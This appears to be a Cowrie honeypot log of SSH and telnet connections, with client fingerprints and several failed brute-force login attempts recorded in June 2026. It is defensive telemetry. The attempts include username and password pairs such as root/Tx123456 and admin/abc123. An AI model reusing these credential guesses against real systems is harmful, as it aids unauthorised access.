{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:50.667984Z","src_ip":"103.84.236.242","session":"dd9d211c11e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:51.026359Z","src_ip":"91.92.40.36","session":"04f89d4b80c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:51.077909Z","src_ip":"91.92.40.36","session":"e34b671338af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tx123456","message":"login attempt [root/Tx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:51.699795Z","src_ip":"103.84.236.242","session":"dd9d211c11e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:52.952244Z","src_ip":"103.84.236.242","session":"dd9d211c11e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:53.120898Z","src_ip":"91.92.40.36","session":"e34b671338af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29170,"dst_ip":"10.17.0.5","dst_port":22,"session":"28deb34b4f4c","protocol":"ssh","message":"New connection: 91.92.40.36:29170 (10.17.0.5:22) [session: 28deb34b4f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:54.821205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:55.506377Z","src_ip":"91.92.40.36","session":"28deb34b4f4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:55.509548Z","src_ip":"91.92.40.36","session":"28deb34b4f4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dt201117","message":"login attempt [root/dt201117] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:59.226413Z","src_ip":"91.92.40.36","session":"28deb34b4f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:01.039363Z","src_ip":"91.92.40.36","session":"28deb34b4f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.152.64.44","src_port":51030,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3b7f690ba0d","protocol":"telnet","message":"New connection: 45.152.64.44:51030 (10.17.0.5:23) [session: f3b7f690ba0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:03.279439Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31608,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d99b0204602","protocol":"ssh","message":"New connection: 91.92.40.36:31608 (10.17.0.5:22) [session: 5d99b0204602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:04.268308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:04.988044Z","src_ip":"91.92.40.36","session":"5d99b0204602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:04.992095Z","src_ip":"91.92.40.36","session":"5d99b0204602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40444,"dst_ip":"159.203.135.109","dst_port":22,"session":"beaa6873e757","protocol":"ssh","message":"New connection: 27.71.230.31:40444 (159.203.135.109:22) [session: beaa6873e757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:06.253702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:06.264085Z","src_ip":"27.71.230.31","session":"beaa6873e757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:06.523230Z","src_ip":"27.71.230.31","session":"beaa6873e757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:10.408645Z","src_ip":"91.92.40.36","session":"5d99b0204602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:12.299561Z","src_ip":"91.92.40.36","session":"5d99b0204602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26956,"dst_ip":"10.17.0.5","dst_port":22,"session":"640ece6a5fa2","protocol":"ssh","message":"New connection: 91.92.40.36:26956 (10.17.0.5:22) [session: 640ece6a5fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:13.325274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:13.471180Z","src_ip":"91.92.40.36","session":"640ece6a5fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:13.493500Z","src_ip":"27.71.230.31","session":"beaa6873e757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:14.394412Z","src_ip":"91.92.40.36","session":"640ece6a5fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:17.419983Z","src_ip":"27.71.230.31","session":"beaa6873e757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62970,"dst_ip":"10.17.0.5","dst_port":22,"session":"5df6131f5b46","protocol":"ssh","message":"New connection: 91.92.40.36:62970 (10.17.0.5:22) [session: 5df6131f5b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:19.007834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:19.374145Z","src_ip":"91.92.40.36","session":"5df6131f5b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:19.380923Z","src_ip":"91.92.40.36","session":"5df6131f5b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:19.539382Z","src_ip":"91.92.40.36","session":"640ece6a5fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Deploy@123","message":"login attempt [deploy/Deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:20.579670Z","src_ip":"91.92.40.36","session":"5df6131f5b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.22172832489014,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:20.922697Z","src_ip":"128.199.8.54","session":"2f4e899eabe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:21.622205Z","src_ip":"91.92.40.36","session":"640ece6a5fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:21.706702Z","src_ip":"91.92.40.36","session":"5df6131f5b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37796,"dst_ip":"10.17.0.5","dst_port":22,"session":"2190745da9a2","protocol":"ssh","message":"New connection: 91.92.40.36:37796 (10.17.0.5:22) [session: 2190745da9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:26.698573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:27.033642Z","src_ip":"91.92.40.36","session":"2190745da9a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:27.036836Z","src_ip":"91.92.40.36","session":"2190745da9a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial","message":"login attempt [root/vicidial] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:28.508923Z","src_ip":"91.92.40.36","session":"2190745da9a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:29.955320Z","src_ip":"91.92.40.36","session":"2190745da9a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.7285578250885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:35.007877Z","src_ip":"45.152.64.44","session":"f3b7f690ba0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37860,"dst_ip":"10.17.0.5","dst_port":22,"session":"01331d594d39","protocol":"ssh","message":"New connection: 91.92.40.36:37860 (10.17.0.5:22) [session: 01331d594d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:35.864760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:36.619739Z","src_ip":"91.92.40.36","session":"01331d594d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:37.441461Z","src_ip":"91.92.40.36","session":"01331d594d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":33734,"dst_ip":"159.203.135.109","dst_port":22,"session":"506166ecb42c","protocol":"ssh","message":"New connection: 129.146.243.24:33734 (159.203.135.109:22) [session: 506166ecb42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:38.389941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:38.394933Z","src_ip":"129.146.243.24","session":"506166ecb42c","protocol":"ssh"}
